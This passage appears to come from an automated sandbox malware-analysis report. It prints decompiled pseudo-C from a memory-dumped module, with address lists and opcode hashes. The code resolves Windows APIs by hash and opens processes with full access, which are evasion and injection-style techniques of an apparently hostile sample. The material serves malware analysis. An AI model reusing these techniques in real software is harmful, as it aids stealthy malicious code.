								_t392 =  *(E6DE8F558(_t439 + 0x28, _t421 * 4));
								__eflags = _t392 -  *_t404;
								if(_t392 ==  *_t404) {
									break;
								}
								_t421 = _t421 + 1;
								__eflags = _t421 -  *(_t439 + 0x7c);
								if(_t421 <  *(_t439 + 0x7c)) {
									continue;
								}
								goto L11;
							}
							__eflags = _t421 - 0xffffffff;
							if(_t421 == 0xffffffff) {
								goto L11;
							}
							L20:
							_t434 = _t434 + 1;
							__eflags = _t434 - _t308[1];
						} while (_t434 < _t308[1]);
						goto L21;
					}
				}
			}

0x6de8a5ae
0x6de8a5b0
0x6de8a5bb
0x6de8a5c1
0x6de8a5c5
0x6de8a5ca
0x6de8a5d0
0x6de8a5e0
0x00000000
0x6de8a5e2
0x6de8a5e2
0x6de8a5ed
0x6de8a5ed
0x6de8ab6b
0x6de8ab6d
0x6de8ab6e
0x6de8abad
0x6de8abb1
0x6de8abbf
0x6de8abcd
0x6de8abcd
0x6de8abb8
0x6de8abd3
0x6de8abd8
0x00000000
0x6de8abd8
0x6de8abbc
0x6de8abbd
0x00000000
0x6de8a5f7
0x6de8a5f7
0x6de8a5fb
0x6de8a702
0x6de8a702
0x6de8a707
0x6de8a818
0x6de8a81c
0x6de8a821
0x6de8a825
0x6de8a94f
0x6de8a951
0x6de8a955
0x6de8a95e
0x6de8a967
0x6de8a96b
0x6de8a974
0x6de8a97b
0x6de8a97c
0x6de8a980
0x6de8a984
0x6de8a988
0x6de8a98a
0x6de8aaf4
0x6de8aaf4
0x6de8aafc
0x6de8ab14
0x6de8ab16
0x6de8ab18
0x6de8ab52
0x6de8ab52
0x6de8ab54
0x6de8ab54
0x6de8ab57
0x6de8ab72
0x6de8ab86
0x6de8ab89
0x6de8ab8e
0x6de8ab99
0x6de8ab9a
0x6de8ab9d
0x6de8ab9f
0x6de8aba8
0x00000000
0x6de8aba8
0x6de8ab59
0x6de8ab5d
0x6de8ab66
0x00000000
0x6de8ab66
0x6de8ab29
0x6de8ab39
0x6de8ab3d
0x6de8ab3d
0x6de8ab40
0x6de8ab43
0x6de8ab46
0x6de8ab4c
0x00000000
0x00000000
0x00000000
0x6de8ab4e
0x6de8a992
0x6de8a992
0x6de8a994
0x6de8a998
0x6de8a99d
0x6de8a99f
0x6de8a9a3
0x6de8a9a6
0x6de8a9ae
0x6de8a9b0
0x00000000
0x00000000
0x6de8a9c7
0x6de8a9e2
0x6de8a9e4
0x6de8a9f7
0x6de8a9f9
0x6de8a9fb
0x6de8aa16
0x6de8aa16
0x6de8aa1a
0x6de8aa1c
0x00000000
0x00000000
0x6de8aa1e
0x6de8aa21
0x6de8aa42
0x6de8aa61
0x6de8aa67
0x6de8aa6a
0x6de8aa6f
0x6de8aa70
0x6de8aa74
0x00000000
0x00000000
0x6de8aa7c
0x6de8aa7c
0x6de8aa7e
0x6de8aa8a
0x6de8aa96
0x6de8aaa0
0x6de8aaa3
0x6de8aaa6
0x6de8aaaa
0x6de8aab1
0x6de8aab5
0x6de8aab9
0x6de8aaba
0x6de8aabe
0x6de8aac3
0x6de8aac8
0x6de8aacc
0x6de8aad0
0x6de8aad6
0x6de8aadc
0x6de8aae2
0x6de8aae8
0x6de8aaed
0x6de8aaee
0x6de8aaee
0x00000000
0x6de8aa7e
0x00000000
0x6de8aa21
0x6de8a9ff
0x6de8aa10
0x6de8aa12
0x6de8aa14
0x00000000
0x00000000
0x00000000
0x6de8aa14
0x6de8aa27
0x00000000
0x6de8aa27
0x6de8a82b
0x6de8a82e
0x6de8a830
0x00000000
0x00000000
0x6de8a838
0x6de8a838
0x6de8a83a
0x6de8a83a
0x6de8a84b
0x6de8a84d
0x6de8a850
0x00000000
0x00000000
0x6de8a946
0x6de8a947
0x6de8a949
0x00000000
0x00000000
0x00000000
0x6de8a949
0x6de8a856
0x6de8a859
0x6de8a863
0x6de8a868
0x6de8a86a
0x6de8a870
0x6de8a877
0x6de8a87b
0x6de8a880
0x6de8a884
0x6de8acbf
0x6de8acd3
0x6de8acf6
0x6de8acfb
0x6de8acfb
0x6de8a89b
0x6de8a8a0
0x6de8a8a0
0x6de8a8a0
0x6de8a8a0
0x6de8a8a6
0x6de8a8ab
0x6de8a8ad
0x6de8a8b2
0x6de8a8b9
0x6de8a8be
0x6de8a8c0
0x6de8ac7d
0x6de8ac8e
0x6de8aca8
0x6de8acad
0x6de8acad
0x6de8a8d6
0x6de8a8db
0x6de8a8db
0x6de8a8db
0x6de8a8db
0x6de8a8ef
0x6de8a90d
0x6de8a912
0x6de8a922
0x6de8a93f
0x6de8a941
0x6de8a941
0x00000000
0x6de8a859
0x6de8a70f
0x6de8a70f
0x6de8a711
0x6de8a718
0x6de8a726
0x6de8a728
0x6de8a72b
0x6de8a732
0x6de8a734
0x6de8a765
0x6de8a774
0x6de8a776
0x6de8a778
0x6de8a796
0x6de8a798
0x6de8a79a
0x6de8a7ad
0x6de8a7cc
0x6de8a7d2
0x6de8a7d5
0x6de8a7ec
0x6de8a808
0x6de8a80a
0x6de8a80a
0x6de8a80a
0x6de8a80a
0x6de8a79a
0x00000000
0x6de8a778
0x6de8a738
0x6de8a738
0x6de8a73a
0x6de8a74b
0x6de8a74d
0x6de8a74f
0x00000000
0x00000000
0x6de8a75b
0x6de8a75c
0x6de8a763
0x00000000
0x00000000
0x00000000
0x6de8a763
0x6de8a751
0x6de8a754
0x00000000
0x00000000
0x6de8a80d
0x6de8a80d
0x6de8a80e
0x6de8a80e
0x00000000
0x6de8a601
0x6de8a603
0x6de8a603
0x6de8a605
0x6de8a60c
0x6de8a61a
0x6de8a61c
0x6de8a620
0x6de8a624
0x6de8a626
0x6de8a654
0x6de8a657
0x6de8a65c
0x6de8a660
0x6de8a665
0x6de8a66c
0x6de8a671
0x6de8a673
0x6de8ac3a
0x6de8ac4b
0x6de8ac6b
0x6de8ac70
0x6de8ac70
0x6de8a689
0x6de8a68e
0x6de8a68e
0x6de8a68e
0x6de8a68e
0x6de8a6a0
0x6de8a6a2
0x6de8a6a4
0x6de8a6b5
0x6de8a6b5
0x6de8a6bb
0x6de8a6c0
0x6de8a6c4
0x6de8a6ca
0x6de8a6d1
0x6de8a6d6
0x6de8a6d8
0x6de8abee
0x6de8abff
0x6de8ac20
0x6de8ac25
0x6de8ac25
0x6de8a6ef
0x6de8a6f4
0x6de8a6f4
0x6de8a6f4
0x6de8a6f4
0x6de8a6f7
0x6de8a6f7
0x00000000
0x6de8a6f7
0x6de8a62a
0x6de8a62a
0x6de8a62c
0x6de8a63d
0x6de8a63f
0x6de8a641
0x00000000
0x00000000
0x6de8a64d
0x6de8a64e
0x6de8a652
0x00000000
0x00000000
0x00000000
0x6de8a652
0x6de8a643
0x6de8a646
0x00000000
0x00000000
0x6de8a6f8
0x6de8a6f8
0x6de8a6f9
0x6de8a6f9
0x00000000
0x6de8a605
0x6de8a5fb

Strings

, xrefs: 6DE8ABB3

Memory Dump Source

Source File: 00000003.00000002.503419518.000000006DE81000.00000020.00020000.sdmp, Offset: 6DE80000, based on PE: true

Associated: 00000003.00000002.503404832.000000006DE80000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503456813.000000006DE9A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503468463.000000006DE9D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.503477036.000000006DE9F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 548f13ad64522e88e84fdf2c3d9d752e2ab903ede98f4e3e5a63781dd717e7db
Instruction ID: c7d014ee4937456abd214b636aebea88d4e35a69cf422bd6a6730ead2fee272a
Opcode Fuzzy Hash: 548f13ad64522e88e84fdf2c3d9d752e2ab903ede98f4e3e5a63781dd717e7db
Instruction Fuzzy Hash: 2F127E7150C3059FC714DF24C880A6EB7B5AF85719F218A2DE6AE972A2EF34DC41CB52

Uniqueness

Uniqueness Score: -1.00%

Function 6DE884E4, Relevance: 1.8, Strings: 1, Instructions: 529
COMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E6DE884E4(signed int __ecx, intOrPtr __edx) {
				void* __esi;
				void* __ebp;
				signed int* _t173;
				signed int _t178;
				void* _t180;
				void* _t181;
				intOrPtr* _t188;
				signed int _t202;
				intOrPtr* _t211;
				intOrPtr* _t212;
				intOrPtr* _t217;
				signed int _t218;
				void* _t219;
				void* _t220;
				void* _t237;
				void* _t238;
				signed int* _t246;
				void* _t247;
				signed int* _t258;
				intOrPtr* _t269;
				signed int* _t277;
				intOrPtr* _t279;
				void* _t283;
				void* _t285;
				void* _t287;
				signed int _t296;
				void* _t299;
				signed int* _t308;
				intOrPtr* _t310;
				signed int _t316;
				intOrPtr _t318;
				signed int* _t324;
				signed int _t325;
				signed int _t326;
				void* _t345;
				void* _t416;
				signed int _t417;
				signed int _t424;
				signed int _t432;
				intOrPtr* _t433;
				intOrPtr* _t434;
				signed int _t437;
				signed int _t441;
				signed int _t445;
				signed int _t446;
				signed int _t447;
				signed int _t450;
				void* _t451;
				signed int _t452;
				void* _t453;
				signed int _t454;
				void* _t457;
				intOrPtr* _t458;

				_push(_t435);
				_t458 = _t457 - 0xa4;
				 *_t458 = __ecx + 0x1c;
				 *((intOrPtr*)(_t458 + 0x68)) = __edx;
				 *(_t458 + 4) = __ecx;
				 *(_t458 + 0x84) = 0;
				 *((intOrPtr*)(_t458 + 0x78)) = __ecx + 4;
				while(1) {
					_t415 =  *(_t458 + 0x6c);
					E6DE8B714(_t458 + 0x24,  *(_t458 + 0x6c), 0x7fffffff);
					if(E6DE8F56C(_t458 + 0x24) == 0) {
						goto L3;
					} else {
						 *( *(_t458 + 4) + 0x2c) = 0;
						E6DE8F6F0(_t458 + 0x24);
					}
					L60:
					_t318 = 0xffffffffffffffff;
					L62:
					if(_t318 != 0) {
						L65:
						return _t318;
					} else {
						if( *(_t458 + 0x84) != 0x20) {
							E6DE9218C(0x5dc, _t415, _t435);
							 *(_t458 + 0x84) =  *(_t458 + 0x84) + 1;
							continue;
						} else {
							_t318 = 0xffffffffffffffff;
							goto L65;
						}
					}
					L71:
					L3:
					__eflags =  *( *(_t458 + 4));
					if( *( *(_t458 + 4)) > 0) {
						_t326 = 0;
						__eflags = 0;
						do {
							 *(_t458 + 0x64) = _t326 * 4;
							_t434 = E6DE8F558( *(_t458 + 0x7c), _t326 * 4);
							_t435 =  *(_t458 + 0x20);
							__eflags = _t435;
							if(_t435 <= 0) {
								L11:
								_t435 =  *(_t458 + 4) + 4;
								_t283 = E6DE8F568( *(_t458 + 4) + 4);
								__eflags = _t283 -  *(_t458 + 0x64);
								if(_t283 >  *(_t458 + 0x64)) {
									_t451 = 4 + _t326 * 4;
									_t299 = E6DE8F568(_t435);
									__eflags = _t299 - _t451;
									if(_t299 > _t451) {
										 *((intOrPtr*)(_t458 + 0x9c)) = E6DE8F558(_t435,  *(_t458 + 0x64));
										 *((intOrPtr*)(_t458 + 0x98)) = E6DE8F558(_t435, _t451);
										E6DE9382C( *((intOrPtr*)(_t458 + 0xa4)),  *((intOrPtr*)(_t458 + 0x9c)), E6DE8F568(_t435) - _t451);
										_t458 = _t458 + 0xc;
									}
									E6DE8F8C4(_t435, E6DE8F568(_t435) + 0xfffffffc);
									_t308 =  *(_t458 + 4);
									 *_t308 =  *_t308 - 1;
									__eflags =  *_t308;
								}
								_t450 = E6DE92F8C(0xa5eabdf8, 0x2c2324e8);
								__eflags = _t450;
								if(_t450 != 0) {
									 *_t450( *(E6DE8F558( *(_t458 + 4),  *(_t458 + 0x64))));
								}
								_t285 = E6DE8F568( *_t458);
								__eflags = _t285 -  *(_t458 + 0x64);
								if(_t285 >  *(_t458 + 0x64)) {
									_t453 = 4 + _t326 * 4;
									_t287 = E6DE8F568( *_t458);
									__eflags = _t287 - _t453;
									if(_t287 > _t453) {
										_t435 = E6DE8F558( *(_t458 + 4),  *(_t458 + 0x64));
										 *((intOrPtr*)(_t458 + 0xa0)) = E6DE8F558( *(_t458 + 4), _t453);
										E6DE9382C(_t288,  *((intOrPtr*)(_t458 + 0xa4)), E6DE8F568( *_t458) - _t453);
										_t458 = _t458 + 0xc;
									}
									E6DE8F8C4( *(_t458 + 4), E6DE8F568( *_t458) + 0xfffffffc);
									_t296 =  *(_t458 + 4);
									_t33 = _t296 + 0x18;
									 *_t33 =  *(_t296 + 0x18) - 1;
									__eflags =  *_t33;
								}
								_t326 = _t326 - 1;
								__eflags = _t326;
							} else {
								_t452 = 0;
								__eflags = 0;
								while(1) {
									_t310 = E6DE8F558(_t458 + 0x28, _t452 * 4);
									__eflags =  *_t310 -  *_t434;
									if( *_t310 ==  *_t434) {
										break;
									}
									_t452 = _t452 + 1;
									__eflags = _t452 - _t435;
									if(_t452 < _t435) {
										continue;
									} else {
										goto L11;
									}
									goto L20;
								}
								__eflags = _t452 - 0xffffffff;
								if(_t452 == 0xffffffff) {
									goto L11;
								} else {
								}
							}
							L20:
							_t326 = _t326 + 1;
							__eflags = _t326 -  *( *(_t458 + 4));
						} while (_t326 <  *( *(_t458 + 4)));
					}
					__eflags =  *(_t458 + 0x20);
					if( *(_t458 + 0x20) > 0) {
						_t325 = 0;
						__eflags = 0;
						do {
							 *(_t458 + 0x7c) = _t325 * 4;
							_t433 = E6DE8F558(_t458 + 0x28, _t325 * 4);
							_t258 =  *(_t458 + 4);
							_t435 =  *_t258;
							__eflags = _t435;
							if(_t435 <= 0) {
								L29:
								_t445 = E6DE92F8C(0x4bcc7cba, 0x997e6547);
								__eflags = _t445;
								if(_t445 != 0) {
									_t447 =  *_t445(0x1fffff, 0,  *((intOrPtr*)(E6DE8F558(_t458 + 0x28,  *(_t458 + 0x7c)))));
									__eflags = _t447;
									if(_t447 != 0) {
										E6DE8F8C4( *(_t458 + 4), E6DE8F568( *_t458) + 4);
										 *(E6DE8F558( *(_t458 + 4), E6DE8F568( *_t458) + 0xfffffffc)) = _t447;
										 *((intOrPtr*)( *((intOrPtr*)(_t458 + 0x28 - 0x20)) + 0x18)) =  *((intOrPtr*)( *((intOrPtr*)(_t458 + 0x28 - 0x20)) + 0x18)) + 1;
										_t269 = E6DE8F558(_t458 + 0x28,  *(_t458 + 0x7c));
										 *((intOrPtr*)(_t458 + 0x70)) =  *(_t458 + 4) + 4;
										E6DE8F8C4( *((intOrPtr*)(_t458 + 0x74)), E6DE8F568( *(_t458 + 4) + 4) + 4);
										 *((intOrPtr*)(E6DE8F558( *((intOrPtr*)(_t458 + 0x74)), E6DE8F568( *((intOrPtr*)(_t458 + 0x70))) + 0xfffffffc))) =  *_t269;
										_t277 =  *(_t458 + 4);
										 *_t277 =  *_t277 + 1;
										__eflags =  *_t277;
									}
								}
							} else {
								_t446 = 0;
								__eflags = 0;
								 *(_t458 + 0x88) =  &(_t258[1]);
								while(1) {
									_t279 = E6DE8F558( *((intOrPtr*)(_t458 + 0x8c)), _t446 * 4);
									__eflags =  *_t279 -  *_t433;
									if( *_t279 ==  *_t433) {
										break;
									}
									_t446 = _t446 + 1;
									__eflags = _t446 - _t435;
									if(_t446 < _t435) {
										continue;
									} else {
										goto L29;
									}
									goto L32;
								}
								__eflags = _t446 - 0xffffffff;
								if(_t446 == 0xffffffff) {
									goto L29;
								} else {
								}
							}
							L32:
							_t325 = _t325 + 1;
							__eflags = _t325 -  *(_t458 + 0x20);
						} while (_t325 <  *(_t458 + 0x20));
					}
					E6DE8F6F0(_t458 + 0x24);
					_t173 =  *(_t458 + 4);
					__eflags = _t173[0xb];
					if(_t173[0xb] != 0) {
						_t432 =  *_t173;
						__eflags = _t432;
						if(_t432 > 0) {
							_t435 = 0;
							__eflags = 0;
							_t324 =  &(_t173[1]);
							while(1) {
								_t441 = _t435 * 4;
								_t217 = E6DE8F558(_t324, _t441);
								_t218 =  *(_t458 + 4);
								__eflags =  *_t217 -  *((intOrPtr*)(_t218 + 0x30));
								if( *_t217 ==  *((intOrPtr*)(_t218 + 0x30))) {
									break;
								}
								_t435 = _t435 + 1;
								__eflags = _t435 - _t432;
								if(_t435 < _t432) {
									continue;
								}
								goto L46;
							}
							__eflags = _t435 - 0xffffffff;
							if(_t435 != 0xffffffff) {
								_t219 = E6DE8F568( *_t458);
								__eflags = _t219 - _t441;
								if(_t219 > _t441) {
									 *((intOrPtr*)(_t458 + 0x74)) = 4 + _t435 * 4;
									_t247 = E6DE8F568( *_t458);
									__eflags = _t247 -  *((intOrPtr*)(_t458 + 0x74));
									if(_t247 >  *((intOrPtr*)(_t458 + 0x74))) {
										 *((intOrPtr*)(_t458 + 0x90)) = E6DE8F558( *(_t458 + 4), _t441);
										 *((intOrPtr*)(_t458 + 0x8c)) = E6DE8F558( *(_t458 + 4),  *((intOrPtr*)(_t458 + 0x74)));
										E6DE9382C( *((intOrPtr*)(_t458 + 0x98)),  *((intOrPtr*)(_t458 + 0x90)), E6DE8F568( *_t458) -  *((intOrPtr*)(_t458 + 0x74)));
										_t458 = _t458 + 0xc;
									}
									E6DE8F8C4( *(_t458 + 4), E6DE8F568( *_t458) + 0xfffffffc);
									_t424 =  *(_t458 + 4);
									_t75 = _t424 + 0x18;
									 *_t75 =  *(_t424 + 0x18) - 1;
									__eflags =  *_t75;
								}
								_t220 = E6DE8F568(_t324);
								__eflags = _t220 - _t441;
								if(_t220 > _t441) {
									_t435 = 4 + _t435 * 4;
									_t237 = E6DE8F568(_t324);
									__eflags = _t237 - _t435;
									if(_t237 > _t435) {
										_t238 = E6DE8F558(_t324, _t441);
										 *((intOrPtr*)(_t458 + 0x94)) = E6DE8F558(_t324, _t435);
										E6DE9382C(_t238,  *((intOrPtr*)(_t458 + 0x98)), E6DE8F568(_t324) - _t435);
										_t458 = _t458 + 0xc;
									}
									E6DE8F8C4(_t324, E6DE8F568(_t324) + 0xfffffffc);
									_t246 =  *(_t458 + 4);
									 *_t246 =  *_t246 - 1;
									__eflags =  *_t246;
								}
								E6DE8F8C4( *(_t458 + 4), E6DE8F568( *_t458) + 4);
								 *(E6DE8F558( *(_t458 + 4), E6DE8F568( *_t458) + 0xfffffffc)) =  *( *(_t458 + 4) + 0x2c);
								 *((intOrPtr*)( *(_t458 + 4) + 0x18)) =  *((intOrPtr*)( *(_t458 + 4) + 0x18)) + 1;
								E6DE8F8C4(_t324, E6DE8F568(_t324) + 4);
								 *((intOrPtr*)(E6DE8F558(_t324, E6DE8F568(_t324) + 0xfffffffc))) =  *((intOrPtr*)( *(_t458 + 4) + 0x30));
								 *( *(_t458 + 4)) =  *( *(_t458 + 4)) + 1;
							}
						}
					}
					L46:
					 *((intOrPtr*)(_t458 + 8)) = 0;
					 *((intOrPtr*)(_t458 + 0xc)) = 0;
					E6DE8F620(_t458 + 0x14, 0);
					 *((intOrPtr*)(_t458 + 0x34)) =  *((intOrPtr*)(_t458 + 0x68));
					 *((intOrPtr*)(_t458 + 0x38)) = 0;
					E6DE8F620(_t458 + 0x40, 0);
					_t178 =  *(_t458 + 4);
					_t416 = 0x40;
					__eflags =  *((intOrPtr*)(_t178 + 0x18)) - 0x40;
					_t417 =  <  ?  *((void*)(_t178 + 0x18)) : _t416;
					 *(_t458 + 0x80) = _t417;
					__eflags = _t417;
					if(_t417 <= 0) {
						L57:
						_t415 = E6DE8F558(_t458 + 0x14, 0);
						_t180 = E6DE92878( *((intOrPtr*)(_t458 + 0xc)), _t179, 0x3e8);
						_t132 = _t180 - 0x80; // -128
						_t181 = _t132;
						__eflags = _t181 - 0x3f;
						_t316 =  <=  ? _t181 : _t180;
						__eflags = _t316 - 0x102;
						if(_t316 == 0x102) {
							goto L59;
						} else {
							__eflags = _t316 - 0x3f;
							if(_t316 <= 0x3f) {
								__eflags = _t316 << 2;
								 *((intOrPtr*)( *((intOrPtr*)(_t458 + 8)) + 0x2c)) =  *((intOrPtr*)(E6DE8F558( *(_t458 + 4), _t316 << 2)));
								_t188 = E6DE8F558( *(_t458 + 0x7c), _t316 << 2);
								_t415 =  *(_t458 + 4);
								 *((intOrPtr*)(_t415 + 0x30)) =  *_t188;
								_t318 =  *((intOrPtr*)(_t415 + 0x2c));
								E6DE8B680(_t458 + 0x34);
								E6DE8B680(_t458 + 8);
							} else {
								goto L59;
							}
						}
						goto L62;
					} else {
						_t454 = 0;
						__eflags = 0;
						while(1) {
							E6DE8CB48(_t458 + 0x4c);
							_t415 = 0;
							_t345 = _t458 + 0x4c;
							 *((char*)(_t345 + 4)) = 0;
							 *((intOrPtr*)(_t345 + 0x20)) = 0;
							__eflags = E6DE8C33C(_t345);
							if(__eflags != 0) {
								break;
							}
							E6DE8F8C4(_t458 + 0x14, E6DE8F568(_t458 + 0x10) + 4);
							 *((intOrPtr*)(E6DE8F558(_t458 + 0x14, E6DE8F568(_t458 + 0x10) + 0xfffffffc))) =  *((intOrPtr*)(_t458 + 0x4c));
							 *((intOrPtr*)(_t458 + 0xc)) =  *((intOrPtr*)(_t458 + 0xc)) + 1;
							_t202 = E6DE92F8C(0xa5eabdf8, 0xf3119fba);
							__eflags = _t202;
							if(_t202 == 0) {
								_t415 =  *(_t458 + 0x6c);
								__eflags = _t415;
								if(__eflags == 0) {
									break;
								} else {
									__eflags = _t415 - 0xffffffff;
									if(__eflags != 0) {
										E6DE8F8C4(_t458 + 0x40, E6DE8F568(_t458 + 0x3c) + 4);
										 *(E6DE8F558(_t458 + 0x40, E6DE8F568(_t458 + 0x3c) + 0xfffffffc)) =  *(_t458 + 0x6c);
										 *((intOrPtr*)(_t458 + 0x4c - 0x14)) =  *((intOrPtr*)(_t458 + 0x4c - 0x14)) + 1;
										E6DE8CDE0(_t458 + 0x4c, __eflags);
										_t454 = _t454 + 1;
										__eflags = _t454 -  *(_t458 + 0x80);
										if(_t454 <  *(_t458 + 0x80)) {
											continue;
										} else {
											_t437 = 0;
											__eflags = 0;
											do {
												_t211 = E6DE8F558( *(_t458 + 4), _t437 * 4);
												_t212 = E6DE8F558(_t458 + 0x40, _t437 * 4);
												E6DE88C14( *_t211, E6DE9034C(0xa5eabdf8, 0x4145240a),  *_t212, 0, 0);
												_t437 = _t437 + 1;
												__eflags = _t437 -  *(_t458 + 0x80);
											} while (_t437 <  *(_t458 + 0x80));
											goto L57;
										}
									} else {
										break;
									}
								}
							} else {
								__eflags = 0;
								_push(2);
								_push(0);
								_push(0);
								_push(_t458 + 0x6c);
								_push( *((intOrPtr*)(_t458 + 0x78)));
								_push( *((intOrPtr*)(_t458 + 0x60)));
								_push(0xffffffff);
								asm("int3");
								return _t202;
							}
							goto L71;
						}
						E6DE8CDE0(_t458 + 0x4c, __eflags);
						L59:
						E6DE8B680(_t458 + 0x34);
						E6DE8B680(_t458 + 8);
						goto L60;
					}
					goto L71;
				}
			}

0x6de884e4
0x6de884e8
0x6de884f1
0x6de884f7
0x6de884fb
0x6de884ff
0x6de8850a
0x6de8850e
0x6de88513
0x6de8851b
0x6de8852b
0x00000000
0x6de8852d
0x6de88535
0x6de8853c
0x6de8853c
0x6de88a8f
0x6de88a91
0x6de88ad2
0x6de88ad4
0x6de88ae3
0x6de88aef
0x6de88ad6
0x6de88ade
0x6de88af5
0x6de88afa
0x00000000
0x6de88ae0
0x6de88ae2
0x00000000
0x6de88ae2
0x6de88ade
0x00000000
0x6de88546
0x6de8854a
0x6de8854d
0x6de88553
0x6de88553
0x6de88555
0x6de8855c
0x6de8856a
0x6de8856c
0x6de88570
0x6de88572
0x6de8859e
0x6de885a2
0x6de885a7
0x6de885ac
0x6de885b0
0x6de885b4
0x6de885bb
0x6de885c0
0x6de885c2
0x6de88b51
0x6de88b60
0x6de88b7f
0x6de88b84
0x6de88b84
0x6de885d5
0x6de885da
0x6de885de
0x6de885de
0x6de885de
0x6de885ef
0x6de885f1
0x6de885f3
0x6de88604
0x6de88604
0x6de88609
0x6de8860e
0x6de88612
0x6de88617
0x6de8861e
0x6de88623
0x6de88625
0x6de88b13
0x6de88b1f
0x6de88b39
0x6de88b3e
0x6de88b3e
0x6de8863b
0x6de88640
0x6de88644
0x6de88644
0x6de88644
0x6de88644
0x6de88647
0x6de88647
0x6de88574
0x6de88576
0x6de88576
0x6de88578
0x6de88584
0x6de8858b
0x6de8858d
0x00000000
0x00000000
0x6de88599
0x6de8859a
0x6de8859c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6de8859c
0x6de8858f
0x6de88592
0x00000000
0x00000000
0x6de88594
0x6de88592
0x6de88648
0x6de8864c
0x6de8864d
0x6de8864d
0x6de88555
0x6de88655
0x6de8865a
0x6de88660
0x6de88660
0x6de88662
0x6de88669
0x6de88677
0x6de88679
0x6de8867d
0x6de8867f
0x6de88681
0x6de886bc
0x6de886cb
0x6de886cd
0x6de886cf
0x6de886ed
0x6de886ef
0x6de886f1
0x6de88703
0x6de88721
0x6de8872a
0x6de8872d
0x6de8873b
0x6de8874c
0x6de8876a
0x6de8876c
0x6de88770
0x6de88770
0x6de88770
0x6de886f1
0x6de88683
0x6de88687
0x6de88687
0x6de8868c
0x6de88693
0x6de886a2
0x6de886a9
0x6de886ab
0x00000000
0x00000000
0x6de886b7
0x6de886b8
0x6de886ba
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6de886ba
0x6de886ad
0x6de886b0
0x00000000
0x00000000
0x6de886b2
0x6de886b0
0x6de88772
0x6de88772
0x6de88773
0x6de88773
0x6de88662
0x6de88781
0x6de88786
0x6de8878a
0x6de8878e
0x6de88794
0x6de88796
0x6de88798
0x6de887a2
0x6de887a2
0x6de887a4
0x6de887a7
0x6de887a9
0x6de887b1
0x6de887b8
0x6de887bc
0x6de887bf
0x00000000
0x00000000
0x6de888bb
0x6de888bc
0x6de888be
0x00000000
0x00000000
0x00000000
0x6de888be
0x6de887c5
0x6de887c8
0x6de887d1
0x6de887d6
0x6de887d8
0x6de887e4
0x6de887e8
0x6de887ed
0x6de887f1
0x6de88bce
0x6de88be2
0x6de88c04
0x6de88c09
0x6de88c09
0x6de88807
0x6de8880c
0x6de88810
0x6de88810
0x6de88810
0x6de88810
0x6de88815
0x6de8881a
0x6de8881c
0x6de88820
0x6de88827
0x6de8882c
0x6de8882e
0x6de88b8f
0x6de88b9e
0x6de88bb7
0x6de88bbc
0x6de88bbc
0x6de88841
0x6de88846
0x6de8884a
0x6de8884a
0x6de8884a
0x6de8885c
0x6de8887d
0x6de88885
0x6de88893
0x6de888b1
0x6de888b7
0x6de888b7
0x6de887c8
0x6de88798
0x6de888c4
0x6de888c6
0x6de888ca
0x6de888d3
0x6de888de
0x6de888e2
0x6de888eb
0x6de888f0
0x6de888f6
0x6de888f7
0x6de888fb
0x6de888ff
0x6de88906
0x6de88908
0x6de88a48
0x6de88a59
0x6de88a60
0x6de88a67
0x6de88a67
0x6de88a6a
0x6de88a6d
0x6de88a70
0x6de88a76
0x00000000
0x6de88a78
0x6de88a78
0x6de88a7b
0x6de88a94
0x6de88aac
0x6de88aaf
0x6de88ab4
0x6de88abe
0x6de88ac1
0x6de88ac4
0x6de88acd
0x00000000
0x00000000
0x00000000
0x6de88a7b
0x00000000
0x6de8890e
0x6de88910
0x6de88910
0x6de88912
0x6de88916
0x6de8891b
0x6de8891d
0x6de88921
0x6de88924
0x6de8892c
0x6de8892e
0x00000000
0x00000000
0x6de88945
0x6de88960
0x6de88962
0x6de88970
0x6de88975
0x6de88977
0x6de88994
0x6de88998
0x6de8899a
0x00000000
0x6de8899c
0x6de8899c
0x6de8899f
0x6de889c0
0x6de889df
0x6de889e5
0x6de889e8
0x6de889ed
0x6de889ee
0x6de889f5
0x00000000
0x6de889fb
0x6de889fd
0x6de889fd
0x6de889ff
0x6de88a0b
0x6de88a17
0x6de88a39
0x6de88a3e
0x6de88a3f
0x6de88a3f
0x00000000
0x6de889ff
0x00000000
0x00000000
0x00000000
0x6de8899f
0x6de88979
0x6de88979
0x6de8897f
0x6de88981
0x6de88982
0x6de88983
0x6de88984
0x6de88988
0x6de8898c
0x6de8898e
0x6de8898f
0x6de8898f
0x00000000
0x6de88977
0x6de889a5
0x6de88a7d
0x6de88a81
0x6de88a8a
0x00000000
0x6de88a8a
0x00000000
0x6de88908

Strings

, xrefs: 6DE88AD6

Memory Dump Source

Source File: 00000003.00000002.503419518.000000006DE81000.00000020.00020000.sdmp, Offset: 6DE80000, based on PE: true

Associated: 00000003.00000002.503404832.000000006DE80000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503456813.000000006DE9A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503468463.000000006DE9D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.503477036.000000006DE9F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 4153d0f3c58a5b3baef0bd4166027248aa1672a9a499091add95b261848e7cec
Instruction ID: 40b9916641264a51f7b55fa3d4e5b496daeac80c8d17cbce3a1a3d61ea4339fc
Opcode Fuzzy Hash: 4153d0f3c58a5b3baef0bd4166027248aa1672a9a499091add95b261848e7cec
Instruction Fuzzy Hash: 48127D7160C2059FC714DF24D980A2EB7E1AF85309F71492DEAAE972A2EF34DD05CB52

Uniqueness

Uniqueness Score: -1.00%

Function 6DE992DC, Relevance: 1.8, Strings: 1, Instructions: 529
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E6DE992DC(intOrPtr __ecx, intOrPtr __edx, void* __eflags) {
				signed int _t250;
				signed char _t251;
				signed char* _t254;
				char _t255;
				signed short _t256;
				char _t257;
				signed short _t260;
				signed int _t261;
				signed int _t262;
				void* _t264;
				void* _t272;
				void* _t273;
				signed short* _t274;
				signed char _t275;
				signed int _t277;
				signed int _t278;
				void* _t282;
				signed int _t288;
				unsigned int _t290;
				signed int _t292;
				signed int _t293;
				signed int _t294;
				signed int _t295;
				unsigned int _t296;
